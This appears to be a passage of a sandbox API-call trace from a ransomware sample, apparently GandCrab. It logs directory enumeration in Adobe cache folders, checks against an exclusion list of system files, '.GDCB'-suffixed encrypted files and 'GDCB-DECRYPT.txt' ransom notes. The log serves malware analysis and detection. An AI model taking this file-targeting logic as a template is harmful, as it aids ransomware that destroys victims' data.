VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.911] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\") returned 110 [0169.911] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*" [0169.911] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a49d8 [0169.911] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.911] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.911] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.911] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.911] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.911] lstrcmpW (lpString1="AcroFnt15.lst", lpString2=".") returned 1 [0169.911] lstrcmpW (lpString1="AcroFnt15.lst", lpString2="..") returned 1 [0169.911] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt15.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst" [0169.911] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.912] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 123 [0169.912] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt15.lst") returned 123 [0169.912] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.912] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.912] lstrcmpW (lpString1="AcroFnt17.lst", lpString2=".") returned 1 [0169.912] lstrcmpW (lpString1="AcroFnt17.lst", lpString2="..") returned 1 [0169.912] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="AcroFnt17.lst" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst" [0169.912] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.912] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 123 [0169.912] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\AcroFnt17.lst") returned 123 [0169.912] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.912] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.912] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.912] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.912] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt" [0169.912] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.913] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 126 [0169.913] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 126 [0169.913] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 126 [0169.913] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\Cache\\GDCB-DECRYPT.txt") returned 126 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.913] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.913] FindNextFileW (in: hFindFile=0x5a49d8, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0169.913] FindClose (in: hFindFile=0x5a49d8 | out: hFindFile=0x5a49d8) returned 1 [0169.913] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.913] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.913] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.913] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt" [0169.913] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.913] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.913] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.913] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.913] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\GDCB-DECRYPT.txt") returned 120 [0169.913] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.914] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.914] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.914] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.914] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.914] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.914] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.914] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.914] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.914] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.914] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.914] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2=".") returned 1 [0169.914] lstrcmpW (lpString1="IconCacheRdr.dat.GDCB", lpString2="..") returned 1 [0169.914] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB" [0169.914] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.914] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 125 [0169.914] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr.dat.GDCB") returned 125 [0169.914] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.914] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.914] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2=".") returned 1 [0169.914] lstrcmpW (lpString1="IconCacheRdr65536.dat.GDCB", lpString2="..") returned 1 [0169.914] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="IconCacheRdr65536.dat.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB" [0169.914] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.914] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 130 [0169.914] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\IconCacheRdr65536.dat.GDCB") returned 130 [0169.914] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.915] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.915] lstrcmpW (lpString1="SharedDataEvents", lpString2=".") returned 1 [0169.915] lstrcmpW (lpString1="SharedDataEvents", lpString2="..") returned 1 [0169.915] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="SharedDataEvents" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents" [0169.915] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.915] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 120 [0169.915] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\SharedDataEvents") returned 120 [0169.915] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.915] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.915] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2=".") returned 1 [0169.915] lstrcmpW (lpString1="ToolsSearchCacheRdr", lpString2="..") returned 1 [0169.915] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="ToolsSearchCacheRdr" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr" [0169.915] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\" [0169.915] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0169.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0169.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0169.915] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0169.915] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.915] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 124 [0169.915] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0169.916] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0x5a4d18 [0169.916] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.916] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.916] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.916] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.916] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 1 [0169.916] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.916] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.916] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0169.916] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 140 [0169.916] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0169.916] FindNextFileW (in: hFindFile=0x5a4d18, lpFindFileData=0x285e100 | out: lpFindFileData=0x285e100) returned 0 [0169.916] FindClose (in: hFindFile=0x5a4d18 | out: hFindFile=0x5a4d18) returned 1 [0169.916] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.916] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt") returned 141 [0169.916] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\adobe\\acrobat\\dc\\toolssearchcacherdr\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.917] GetLastError () returned 0x50 [0169.917] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.917] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\") returned 124 [0169.917] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*" [0169.917] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\*", lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0x5a4c58 [0169.917] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0169.917] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.917] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0169.917] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0169.917] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 1 [0169.917] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.917] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.917] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt" [0169.917] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.918] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 140 [0169.918] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 140 [0169.918] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 140 [0169.918] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\ToolsSearchCacheRdr\\GDCB-DECRYPT.txt") returned 140 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0169.918] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0169.918] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.918] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e370 | out: lpFindFileData=0x285e370) returned 0 [0169.918] FindClose (in: hFindFile=0x5a4c58 | out: hFindFile=0x5a4c58) returned 1 [0169.918] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0169.918] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2=".") returned 1 [0169.918] lstrcmpW (lpString1="UserCache.bin.GDCB", lpString2="..") returned 1 [0169.918] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\", lpString2="UserCache.bin.GDCB" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB" [0169.918] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.918] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 122 [0169.918] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\DC\\UserCache.bin.GDCB") returned 122 [0169.918] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0169.919] FindNextFileW (in: hFindFile=0x5a4918, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0169.919] FindClose (in: hFindFile=0x5a4918 | out: hFindFile=0x5a4918) returned 1 [0169.919] FindNextFileW (in: hFindFile=0x5a4a18, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0169.919] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0169.919] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0169.919] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0169.919] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0169.919] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 117 [0169.919] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 117 [0169.919] lstrlenW (lpString="C:\\Documents and 